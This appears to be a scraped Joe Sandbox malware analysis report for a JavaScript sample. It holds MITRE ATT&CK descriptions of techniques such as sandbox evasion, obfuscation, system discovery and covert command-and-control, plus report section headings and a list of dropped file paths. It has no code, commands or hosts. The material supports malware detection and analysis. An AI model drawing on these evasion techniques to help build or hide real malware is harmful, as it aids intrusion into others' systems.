Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1474915939307712026.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\de721779-c9fd-48fb-abdb-2c6f220d5026.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2820

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2820

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
1474915939307712026.js